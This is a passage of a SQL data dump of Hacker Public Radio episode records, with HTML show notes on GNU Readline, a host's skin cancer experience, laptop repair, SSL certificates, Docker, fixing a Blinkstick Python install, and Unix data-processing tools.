href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2337#1\" target=\"_blank\">Comment 1</a>:\nlostnbronx on 2017-07-27:\n\"Great Overview\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2337#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2017-07-27:\n\"Kobo anagrams to Book\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2338#comments\" target=\"_blank\">hpr2338</a></strong>\n(2017-07-19) \"<em>Binaural recording 2 off to work</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2338#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2017-07-18:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2338#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2017-07-23:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2340#comments\" target=\"_blank\">hpr2340</a></strong>\n(2017-07-21) \"<em>Tracking the HPR queue in Python</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2340#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2017-05-25:\n\"You don&#39;t need to scrape\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2340#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2017-05-31:\n\"Re you don&#39;t need to scrape\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2340#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2017-06-01:\n\"See show 1986\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2340#4\" target=\"_blank\">Comment 4</a>:\nMrX on 2017-06-01:\n\"re: See show 1986\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2343#comments\" target=\"_blank\">hpr2343</a></strong>\n(2017-07-26) \"<em>Healthcare in the Netherlands</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2343#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2017-07-26:\n\"Unexpectedly interesting\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2343#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2017-07-26:\n\"On the way\"</li></ul><br/>\n</li></ul>\n<h2>Any other business</h2>\n<ul>\n    <li><b>Tags and Summaries</b>\n	<p>In the past month we have had contributions from \n	    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\">bjb</a> and\n	    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a> \n	    and I have added a few tags &amp; summaries myself. Many thanks to\n	    all contributors.</p>\n	<p>See the current status and instructions for making your own\n	    contribution at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\">\"Shows without a summary and/or tags\"</a>.\n	    This page has recently been reformatted for easier navigation and\n	    a new section has been added. This section lists the hosts whose\n	    shows need attention followed by the show numbers that need work.</p>\n	<p>Currently there are 957 shows which need summaries or tags to be\n	    added. All contributions to this project are most welcome.</p>\n    </li> \n\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2073,'2016-07-13','The power of GNU Readline - part 1',716,'There\'s a lot you can do to speed up typing by using GNU Readline. We\'ll explore how in this series','<h1 id=\"the-power-of-gnu-readline---part-1\">The power of GNU Readline - part 1</h1>\r\n<p>We all use <em>GNU Readline</em> if we we use the CLI in Linux because it manages input, line editing and command history in Bash and in many tools.</p>\r\n<p>I have been using Unix and later Linux since the 1980\'s, and gradually learnt how to do things like jump to the start or the end of the line, delete a character backwards up to a space, or delete the entire line.</p>\r\n<p>I think that learning GNU Readline is worthwhile since it contains a <strong>lot</strong> more features than what I just described. I thought I would do a few episodes on HPR to introduce some of what I consider to be the most useful features.</p>\r\n<p>I want to keep the episodes short since this is a dry subject, and, if you are anything like me, you can\'t take in more than a few key sequences at a time.</p>\r\n<p>The source of my information is the <a href=\"https://cnswww.cns.cwru.edu/php/chet/readline/rltop.html\" title=\"GNU Readline Manual\"><em>GNU Readline Manual</em></a>. This is very well written, if a little overwhelming.</p>\r\n<p>To read the rest of the notes for this episode follow this link: <a href=\"https://hackerpublicradio.org/eps/hpr2073/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2073/full_shownotes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Wikipedia article on <em>GNU Readline</em>: <a href=\"https://en.wikipedia.org/wiki/GNU_Readline\" class=\"uri\">https://en.wikipedia.org/wiki/GNU_Readline</a></li>\r\n<li><em>GNU Readline</em> manual: <a href=\"https://cnswww.cns.cwru.edu/php/chet/readline/rltop.html\" class=\"uri\">https://cnswww.cns.cwru.edu/php/chet/readline/rltop.html</a></li>\r\n</ul>',225,102,1,'CC-BY-SA','command line,cli,GNU Readline',0,0,1),
(2075,'2016-07-15','Skin cancer',359,'My recent experience with skin cancer, and a primer on UV','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>This is a very personal podcast, discussing minor surgery. If that sort of stuff makes you cringe at all, this may not be the recording for you. I should also point out that I am not a medical professional, you should not take this recording as medical advice, if you have any concerns about your skin, seek professional medical advice.</p>\r\n<p>I am a very white person living in Queensland, Australia. Our state has amongst the highest rate of skin cancers in the world, I believe we\'re in a tussle with New Zealand for first place at the moment.</p>\r\n<p>There are two main types of skin cancer, melanoma and non-melanoma. The non-melanoma type is slow growing, and rarely spreads to other parts of the body, while melanoma is fast growing and spreads to the rest of the body.</p>\r\n<p>Both my parents have had multiple lesions excised, so something like this was always on my mind. We live in a sunny, sub-tropical environment, the sort of clothing you\'d want to wear for comfort is light, breezy, and not covering much skin, exactly the wrong sort of clothes you\'d need to wear to protect yourself from ultraviolet (UV) rays that help cause skin cancer.</p>\r\n<p>According to the Australian BoM FAQ <a href=\"https://www.bom.gov.au/uv/faq.shtml\" class=\"uri\">https://www.bom.gov.au/uv/faq.shtml</a> the per capita risk of skin cancer in Australia is ten times higher than America and sixty times higher than the UK.</p>\r\n<p>The UV scale rarely gets above eight in the UK, in Brisbane the UV scale is above eight for roughly eight months of the year.</p>\r\n<p>There are a <strong>lot</strong> of variables when it comes to UV. Cloud cover is probably the most important. Something that I can\'t stress enough is that heat and UV are <strong>not</strong> correlated, you can definitely be exposed to lots of UV when it\'s cold (see New Zealand, they\'re much more south, much more cold, and have more exposure due to the ozone hole). Another example is snow, UV will bounce off the snow and back at you.</p>\r\n<p>The link between skin cancer and UV is quite strong, 95-99% of skin cancers are caused by excess sun exposure. (<a href=\"https://www.cancer.org.au\" class=\"uri\">https://www.cancer.org.au</a>)</p>\r\n<p>So, with all that history, I started getting yearly skin checks a couple of years ago. I\'d had a couple of skin checks when I was very young, and now that I\'m more advanced in years I wanted something less ad-hoc. Someone working for one such organisation gave a talk at one of the user groups I attended, and i made an appointment with Molemap. It\'s a full on procedure where your entire body is photographed, and each mole, freckle, bump and lump that is of possible concern is photographed from a few centimetres off the skin, and with the magnification lens sitting right on top of the mole.</p>\r\n<p>I have some near 200 spots on myself that are of interest, so my follow up appointments take about two and half hours to go over all these spots, plus looking for new ones. The hope is that, by doing this close to yearly, small changes in all these spots won\'t go unnoticed, and we can get on top of any cancers early.</p>\r\n<p>Interestingly, the spot that was actually a problem was a new one, so under a year old, and was hiding underneath my beard, so in future I\'m definitely going to have my skin checked clean shaven.</p>\r\n<p>The other thing I want to communicate is that early detection is key, all the skin cancers have a 90% plus survival rate (at five years) if caught early enough. This does potentially mean that a yearly check is not enough, but it\'s already proven it\'s worth to me.</p>\r\n<p>Molemap only does photography of spots, and visual diagnosis. It does not do any treatment or biopsies or excisions, therefore there it has no self interest in recommending treatment on borderline cases. Molemap sprang out of a University of Queensland project, which is my alma mater. After receiving the diagnosis (via an online form, secured with a second factor sent to my phone) and panicking a fair bit, I contacted my regular doctors practice (we call them general practitioners in Australia, I\'m sure they\'re called different things elsewhere) for an appointment with a GP who had experience with skin cancers. In QLD, most medical centres will have at least one doctor with experience in this area. As it turns out, my regular GP has such experience and I got an appointment for the following week.</p>\r\n<p>I wasn\'t really sure what to expect from my GP appointment, but I was mostly expecting to get the diagnosis confirmed, and either get sent to a specialist to deal with it, or organise another appointment at the GP.</p>\r\n<p>What actually happened was it took all of five minutes for my doctor to confirm the diagnosis, then work how he had time in his schedule, and there was a nurse free, to excise the lesion straight away. I was given a local anaesthetic, so I felt no pain whatsoever, but you still feel the doctor pulling on your skin up, down left and right, so that the complete lesion can be removed, as well as a small amount of surrounding skin in case the cancer has spread.</p>\r\n<p>Here I should mention that melanomas spread very fast, and when they\'re excised up to a centimetre of skin may need to be removed, where as for a non-melanomic, a millimetre or so is good enough.</p>\r\n<p>I got four sutures put in, they stayed for a week (we have a long easter break in Australia) so it ended up being closer to a week and a half. I had no problems, my scar healed up quickly and nicely. Now, a couple of months later, there\'s a little redness along the scar line, but that\'s about it.</p>\r\n<p>So. The take aways. UV is not correlated to heat, you can get a lot of UV exposure in cold environments. If you\'re travelling through a high UV area, take precautions (clothes that cover a lot of your skin, hat, sunglasses, sunscreen). If you live in a high UV area, get your skin checked regularly. Also, keep an eye on your own skin. Use a diary to record any new bumps, lumps, spots etc.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.bom.gov.au/uv/faq.shtml\" class=\"uri\">https://www.bom.gov.au/uv/faq.shtml</a></li>\r\n<li><a href=\"https://www.cancer.org.au\" class=\"uri\">https://www.cancer.org.au</a></li>\r\n</ul>\r\n',315,100,1,'CC-BY-SA','skin cancer,melanoma,UV,ultraviolet light',0,0,1),
(2078,'2016-07-20','What\'s in my bag?',884,'A short summary of all the crap Windigo lugs back and forth','<p>If you should happen to find me on the road, don’t kill me! I’m an atheist!</p>\r\n<p>Also, this will be the contents of my bag:</p>\r\n<ul>\r\n<li>Stainless steel coffee mug, Stewarts-branded</li>\r\n<li>Stanley stainless steel thermos</li>\r\n<li>Kleen kanteen wide, 40oz stainless steel water bottle</li>\r\n<li>1&frac12;-foot micro USB cable</li>\r\n<li>Ethernet cable (currently retractable)</li>\r\n<li>Sony headphones</li>\r\n<li>Handful of SD and USB storage, including 64GB primary on keychain</li>\r\n<li>Maglite AA-powered flashlight</li>\r\n<li>Ballpoint pen</li>\r\n<li>Lunch, usually in a mason jar or metal box</li>\r\n<li>If it’s Wednesday or Thursday, my backup drive</li>\r\n<li>Dell Mini 9 with AC adapter</li>\r\n<li>If I’m walking to the Tech Center, a ZaReason Verix laptop with AC adapter</li>\r\n</ul>\r\n',196,23,0,'CC-BY-SA','coffee mug,thermos flask,ethernet cable,Maglite,ZaReason Verix,Dell Mini 9',0,0,1),
(2079,'2016-07-21','Everyone Loves Some Acid House',441,'Sigflup demonstrates how to make acid house quickly','<p>In this episode of hpr sigflup makes some acid house. She uses Technobox2, which simulates the tb-303 and the tr-808</p>\r\n<p><img src=\"https://theadesilva.com/303808.jpg\" alt=\"Roland TB-303 and TR-808\"/></p>\r\n',115,0,0,'CC-BY-SA','acid music ',0,0,1),
(2081,'2016-07-25','Fixing my daughter\'s laptop',669,'My daughter broke the headphone jack in her laptop. I tried to get the remains out','<h1 id=\"fixing-my-daughters-laptop\">Fixing my daughter’s laptop</h1>\r\n<p>My daughter is a student at university and uses her laptop with a headset most of the time. She shares a flat with a friend and they are both studying, so they don’t want to annoy each other with noise.</p>\r\n<p>The headset my daughter uses has a very long cable and earlier this year she tripped over it. The microphone jack was OK, but the headphone jack snapped off at the first ring and the remaining piece was left in the socket.</p>\r\n<p>This episode is about my attempt to remove the broken piece of the jack plug. To find out more about the method I used and how successful it was see the full notes with pictures <a href=\"https://hackerpublicradio.org/eps/hpr2081/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<p><strong>Note</strong>: <small>The Amazon links below are for information. I have no financial involvement with Amazon; these are not Affiliate links.</small></p>\r\n<ul>\r\n<li>Sabrent USB External Stereo Sound Adapter: <a href=\"https://www.amazon.co.uk/Sabrent-External-Adapter-Windows-AU-MMSA/dp/B00IRVQ0F8\" class=\"uri\">https://www.amazon.co.uk/Sabrent-External-Adapter-Windows-AU-MMSA/dp/B00IRVQ0F8</a></li>\r\n<li>Dremel 4000 Kit: <a href=\"https://www.amazon.co.uk/Dremel-4000-4-Multi-tool-Attachments-Accessories/dp/B0033UWLX8/ref=sr_1_2?ie=UTF8&amp;qid=1466335613&amp;sr=8-2&amp;keywords=dremel+4000\" class=\"uri\">https://www.amazon.co.uk/Dremel-4000-4-Multi-tool-Attachments-Accessories/dp/B0033UWLX8/ref=sr_1_2?ie=UTF8&amp;qid=1466335613&amp;sr=8-2&amp;keywords=dremel+4000</a></li>\r\n<li>Dremel Workstation: <a href=\"https://www.amazon.co.uk/Dremel-26150220JB-Workstation/dp/B0012RQG94/ref=sr_1_1?ie=UTF8&amp;qid=1466335828&amp;sr=8-1&amp;keywords=dremel+workstation\" class=\"uri\">https://www.amazon.co.uk/Dremel-26150220JB-Workstation/dp/B0012RQG94/ref=sr_1_1?ie=UTF8&amp;qid=1466335828&amp;sr=8-1&amp;keywords=dremel+workstation</a></li>\r\n<li>Make your own Dremel drill press (if you have a 3D printer): <a href=\"https://www.thingiverse.com/thing:161190\" class=\"uri\">https://www.thingiverse.com/thing:161190</a></li>\r\n</ul>',225,0,1,'CC-BY-SA','laptop,repair,audio jack,Dremel,USB DAC',0,0,1),
(2088,'2016-08-03','How my wife\'s grandma got me into linux.',2001,'Knightwise tells us how his wife\'s 80 year old grandmother got him into Linux.','<p>Knightwise talks about how he got into Linux.</p>\r\n<p>From the early beginnings where I dabbled in Suse to the present day where I run my company on Linux, I tell you the story of how I got into Linux .. And how my wife’s 80 year old grandma got me into Linux permanently.</p>\r\n',111,29,1,'CC-BY-SA','linux, ubuntu, suse, mandriva',0,0,1),
(2085,'2016-07-29','Penguicon 2016 Report',1337,'Penguicon 2016 happened on April 29 through May 1, 2016 in Southfield, Michigan','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>Penguicon 2015 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presented over 500 hours of programming over the entire weekend. Of this, around 100 hours were open source, tech-related. In this episode I give you my personal diary of my experience at this great event.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://2016.penguicon.org/\" class=\"uri\">https://2016.penguicon.org/</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?p=901\" class=\"uri\">https://www.zwilnik.com/?p=901</a></li>\r\n<li><a href=\"https://thefrugalcomputerguy.com/\" class=\"uri\">https://thefrugalcomputerguy.com/</a></li>\r\n</ul>\r\n',198,96,0,'CC-BY-SA','Penguicon 2016',0,0,1),
(2095,'2016-08-12','23 - SSL Certificates - How They Work',2462,'A discussion of how SSL certificates work','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>I had the opportunity to present a talk on SSL Certificates at our local LUG, the Washtenaw Linux Users Group, which uses some material from a previous HPR episode, but may be of interest to our listeners nonetheless. Because this was a lengthy presentation I have divided it into sections. This first section explains how SSL Certificates work, and the second one will explore some of the problems that we have with SSL Certificates, and how we might address those problems. For more go to <a href=\"https://www.zwilnik.com/?page_id=655\" class=\"uri\">https://www.zwilnik.com/?page_id=655</a></p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://www.washlug.org/\" class=\"uri\">https://www.washlug.org/</a></li>\r\n<li><a href=\"https://securityblog.redhat.com/2014/10/15/poodle-a-ssl3-vulnerability-cve-2014-3566/\" class=\"uri\">https://securityblog.redhat.com/2014/10/15/poodle-a-ssl3-vulnerability-cve-2014-3566/</a></li>\r\n<li><a href=\"https://securityblog.redhat.com/2014/10/20/can-ssl-3-0-be-fixed-an-analysis-of-the-poodle-attack/\" class=\"uri\">https://securityblog.redhat.com/2014/10/20/can-ssl-3-0-be-fixed-an-analysis-of-the-poodle-attack/</a></li>\r\n<li><a href=\"https://access.redhat.com/articles/1232123\" class=\"uri\">https://access.redhat.com/articles/1232123</a></li>\r\n<li><a href=\"https://www.eff.org/https-everywhere\" class=\"uri\">https://www.eff.org/https-everywhere</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2014/08/google-boosts-secure-sites-search-results\" class=\"uri\">https://www.eff.org/deeplinks/2014/08/google-boosts-secure-sites-search-results</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/X.509\" class=\"uri\">https://en.wikipedia.org/wiki/X.509</a></li>\r\n<li><a href=\"https://engineering.purdue.edu/kak/compsec/NewLectures/Lecture13.pdf\" class=\"uri\">https://engineering.purdue.edu/kak/compsec/NewLectures/Lecture13.pdf</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=655\" class=\"uri\">https://www.zwilnik.com/?page_id=655</a></li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','SSL, Certificates, encryption',0,0,1),
(2082,'2016-07-26','Basic Audio Production - Equalization',1126,'The basics of one of the most fundamental audio production techniques','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>The bread and butter of open source audio production:</p>\r\n<ul>\r\n<li><p>Audacity: <a href=\"https://sourceforge.net/projects/audacity/\" class=\"uri\">https://sourceforge.net/projects/audacity/</a><br />\r\n(Does not allow live processing)</p></li>\r\n<li><p>Ardour: <a href=\"https://ardour.org/\" class=\"uri\">https://ardour.org/</a><br />\r\n(Heavy duty, full fledged versatile open source digital audio workstation)</p></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://sourceforge.net/projects/audacity/\" class=\"uri\">https://sourceforge.net/projects/audacity/</a></li>\r\n<li><a href=\"https://ardour.org/\" class=\"uri\">https://ardour.org/</a></li>\r\n</ul>\r\n',323,0,1,'CC-BY-SA','Music, Audio, Production, Recording, DAW, Audio Production, Sound, DIY, Equalization',0,0,1),
(2084,'2016-07-28','Cleaning the Throttle Body on My Pickup Truck',1469,'I record the process of cleaning the throttle body on my truck, trying to fix an idling problem','<p>In this episode I take you along for the ride as I do a little bit of maintenance on my pickup truck. I\'ve been trying to track down the source of of a rough idling problem that sometimes turns into stalling out. I already replaced the fuel filter (did not solve the rough idling problem but probably was due anyway), and here I make an audio recording as I clean the throttle body, which apparently is one of the first things you should do when your vehicle is idling roughly and stalling out. Still not sure if I have totally fixed it but it seems to run OK so at least I did not mess it up any worse.</p>\r\n\r\n<p>\r\n<a href=\"https://www.flickr.com/photos/137675441@N05/albums/72157667791674064\" title=\"Throttle body photos for HPR\">\r\n<img src=\"https://c1.staticflickr.com/8/7417/27464159624_78054c9ba3_z.jpg\" width=\"640\" height=\"360\" alt=\"Throttle body photos for HPR\"/>\r\n</a>\r\n</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n        <li><a href=\"https://mobiloil.com/en/article/car-maintenance/how-to-do-it-yourself/proper-throttle-body-cleaning-guide\">Step-by-step guide</a> to cleaning the throttle body from Mobil Oil\r\n        </li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','DIY, Auto repair, auto maintenance, cars, trucks',0,0,1),
(2089,'2016-08-04','Solving a blinkstick python problem',1220,'How I solved a problem I found when trying to control my new blinkstick nano with Python','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>This is a show describing how I solved a problem of using my new Blinkstick Nano in Python, the problem occurred because I inadvertently installed the blinkstick module to the wrong version of Python as I have multiple versions of python installed on my raspberry pi.</p>\r\n<p>A blinkstick is a USB powered device with attached RGB led’s, it can be controlled using a wide range of languages, and supports the Raspberry Pi, Linux, Microsoft Windows &amp; Apple</p>\r\n<p>As a side note I forgot to mention that the blinkstick hardware and software is Open Source</p>\r\n<ul>\r\n<li><p>Link to blinkstick website<br />\r\n<a href=\"https://www.blinkstick.com/\" class=\"uri\">https://www.blinkstick.com/</a></p></li>\r\n<li><p>This is the particular model I bought<br />\r\n<a href=\"https://www.blinkstick.com/products/blinkstick-nano\" class=\"uri\">https://www.blinkstick.com/products/blinkstick-nano</a></p></li>\r\n</ul>\r\n<p>Initially I blindly followed the advice given at <a href=\"https://www.blinkstick.com/help/raspberry-pi-integration\" class=\"uri\">https://www.blinkstick.com/help/raspberry-pi-integration</a> which recommended the following commands</p>\r\n<pre><code>sudo apt-get install -y python-pip python2.7-dev\r\nsudo pip install blinkstick\r\nsudo blinkstick --info\r\nblnkstick --add-udev-rule</code></pre>\r\n<p>I discovered that the blinkstick module was not being found when I ran my python script, this turned out to be because I was invoking a different version of python in my script from that which I installed the blinkstick module. I installed the blinkstick module to Python 2.7, my script was running python 3.2</p>\r\n<p>I ran the following commands to rectify the problem</p>\r\n<pre><code>sudo apt-get install -y python3-pip\r\nsudo pip-3.2 install blinkstick\r\nsudo blinkstick --info (Run in my script)\r\nblinkstick --add-udev-rule (Not required 2nd time round)</code></pre>\r\n<p>Here are some links I looked at to get some understanding of what was going on</p>\r\n<ul>\r\n<li><p>Installing Python Modules<br />\r\n<a href=\"https://docs.python.org/3.6/installing/index.html\" class=\"uri\">https://docs.python.org/3.6/installing/index.html</a></p></li>\r\n<li><p>Wikipedia entry for pip<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Pip_(package_manager)\" class=\"uri\">https://en.wikipedia.org/wiki/Pip_(package_manager)</a></p></li>\r\n</ul>\r\n<p>You can get a list of your installed python modules by first going to the python interpreter by typing <code>python</code> at the command prompt and issuing the following command</p>\r\n<pre><code>&gt;&gt;&gt; help(&#39;modules&#39;)</code></pre>\r\n<p>You can list your python search path by first going to the interpreter by typing <code>python</code> at the command prompt and issuing the following commands, the search path is the list of system directories that python will search to run things like commands and modules</p>\r\n<pre><code>&gt;&gt;&gt; import sys\r\n&gt;&gt;&gt; sys.path</code></pre>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.blinkstick.com/\" class=\"uri\">https://www.blinkstick.com/</a></li>\r\n<li><a href=\"https://www.blinkstick.com/products/blinkstick-nano\" class=\"uri\">https://www.blinkstick.com/products/blinkstick-nano</a></li>\r\n<li><a href=\"https://www.blinkstick.com/help/raspberry-pi-integration\" class=\"uri\">https://www.blinkstick.com/help/raspberry-pi-integration</a></li>\r\n<li><a href=\"https://docs.python.org/3.6/installing/index.html\" class=\"uri\">https://docs.python.org/3.6/installing/index.html</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Pip_(package_manager)\" class=\"uri\">https://en.wikipedia.org/wiki/Pip_(package_manager)</a></li>\r\n</ul>\r\n',201,0,0,'CC-BY-SA','Hardware, Electronics, Programming, Raspberry pi, python, open source, BlinkStick',0,0,1),
(2090,'2016-08-05','A Docker Dialog',1972,'Thaj and Lyle (x1101) have a discussion about Docker and its use.','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>Thaj and Lyle (x1101) have a discussion about Docker and its use.</p>\r\n<ul>\r\n<li>Docker Hub: <a href=\"https://hub.docker.com/\" class=\"uri\">https://hub.docker.com/</a></li>\r\n<li>Docker Compose: <a href=\"https://docs.docker.com/compose/\" class=\"uri\">https://docs.docker.com/compose/</a></li>\r\n<li>Urandom: <a href=\"https://urandom-podcast.info\" class=\"uri\">https://urandom-podcast.info</a></li>\r\n</ul>\r\n',270,0,1,'CC-BY-SA','Docker, Self-hosting',0,0,1),
(2105,'2016-08-26','24 - SSL Certificates - Problems',2189,'A discussion of the problems with SSL certificates, and some solutions','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>I had the opportunity to present a talk on SSL Certificates at our local LUG, the Washtenaw Linux Users Group, which uses some material from a previous HPR episode, but may be of interest to our listeners nonetheless. Because this was a lengthy presentation I have divided it into sections. This is the second section which will explore some of the problems that we have with SSL Certificates, and how we might address those problems. The first section contains our description of how SSL Certificates work.</p>\r\n<p>For more go to <a href=\"https://www.zwilnik.com/?page_id=686\" class=\"uri\">https://www.zwilnik.com/?page_id=686</a></p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://www.washlug.org/\" class=\"uri\">https://www.washlug.org/</a></li>\r\n<li><a href=\"https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/included/\" class=\"uri\">https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/included/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/DigiNotar\" class=\"uri\">https://en.wikipedia.org/wiki/DigiNotar</a></li>\r\n<li><a href=\"https://www.zdnet.com/article/microsoft-warns-of-fake-google-and-yahoo-domains/\" class=\"uri\">https://www.zdnet.com/article/microsoft-warns-of-fake-google-and-yahoo-domains/</a></li>\r\n<li><a href=\"https://nakedsecurity.sophos.com/2013/12/09/serious-security-google-finds-fake-but-trusted-ssl-certificates-for-its-domains-made-in-france/\" class=\"uri\">https://nakedsecurity.sophos.com/2013/12/09/serious-security-google-finds-fake-but-trusted-ssl-certificates-for-its-domains-made-in-france/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2011/09/post-mortem-iranian-diginotar-attack\" class=\"uri\">https://www.eff.org/deeplinks/2011/09/post-mortem-iranian-diginotar-attack</a></li>\r\n<li><a href=\"https://addons.mozilla.org/en-US/firefox/addon/certificate-patrol/\" class=\"uri\">https://addons.mozilla.org/en-US/firefox/addon/certificate-patrol/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2011/09/post-mortem-iranian-diginotar-attack\" class=\"uri\">https://www.eff.org/deeplinks/2011/09/post-mortem-iranian-diginotar-attack</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\" class=\"uri\">https://en.wikipedia.org/wiki/Transport_Layer_Security</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=686\" class=\"uri\">https://www.zwilnik.com/?page_id=686</a></li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','SSL, Certificates, encryption',0,0,1),
(2091,'2016-08-08','Everyday Unix/Linux Tools for data processing',1815,'In this episode, I give some examples of common and uncommon tools for processing data files','<blockquote>\r\n<p>Here are some of the tools I use to process and clean data from all manner of customers:</p>\r\n</blockquote>\r\n<p><a href=\"https://linux.die.net/man/1/detox\">detox</a></p>\r\n<p>The <strong>detox</strong> utility renames files to make them easier to work with. It removes spaces and other such annoyances. It’ll also translate or cleanup Latin-1 (ISO 8859-1) characters encoded in 8-bit ASCII, Unicode characters encoded in UTF-8, and CGI escaped characters.</p>\r\n<p>See other episodes for great sed information. I like to remove DOS end of line and end of file characters:</p>\r\n<!-- <p><code>sed -i \'s/ //g\' *.txt</code> or <code>sed -i \'s/\\r//g\' *.txt</code></p> -->\r\n<pre><code>sed -i &#39;s/\r\n//g&#39; *.txt</code></pre>\r\n<p>or</p>\r\n<pre><code>sed -i &#39;s/\\r//g&#39; *.txt</code></pre>\r\n<h2 id=\"command-line-tools\">Command-line tools</h2>\r\n<ul>\r\n<li>ack</li>\r\n<li>awk</li>\r\n<li>detox</li>\r\n<li>grep</li>\r\n<li>pandoc</li>\r\n<li>pdftotext -layout</li>\r\n<li>sed</li>\r\n<li>unix2dos and dos2unix</li>\r\n<li>wget</li>\r\n<li>curl</li>\r\n</ul>\r\n<h2 id=\"r-libraries\">R libraries</h2>\r\n<ul>\r\n<li>RCurl</li>\r\n<li>XML</li>\r\n<li>rvest</li>\r\n<li>tm</li>\r\n<li>xlsx</li>\r\n</ul>\r\n<h2 id=\"python-libraries\">Python libraries</h2>\r\n<ul>\r\n<li>beautifulsoup</li>\r\n<li>csv</li>\r\n<li>nltk <a href=\"https://www.youtube.com/playlist?list=PLQVvvaa0QuDf2JswnfiGkliBInZnIC4HL\">YouTube Series</a></li>\r\n<li>rdflib</li>\r\n<li>re</li>\r\n</ul>\r\n<h2 id=\"vim-tricks\">Vim tricks</h2>\r\n<ul>\r\n<li>buffer searches (<code>:vim /pattern/ ##</code>)</li>\r\n<li>Ack plugin</li>\r\n<li>bufdo (<code>:bufdo %s/pattern/replace/ge | update</code>)</li>\r\n</ul>\r\n<h2 id=\"other-tools\">Other tools</h2>\r\n<ul>\r\n<li><a href=\"https://openrefine.org\">OpenRefine</a></li>\r\n<li><a href=\"https://okfnlabs.org/reconcile-csv/\">reconcile-csv</a></li>\r\n<li><a href=\"https://tabula.technology/\">tabula</a></li>\r\n</ul>\r\n',300,0,0,'CC-BY-SA','linux,unix,data,command-line',0,0,1),
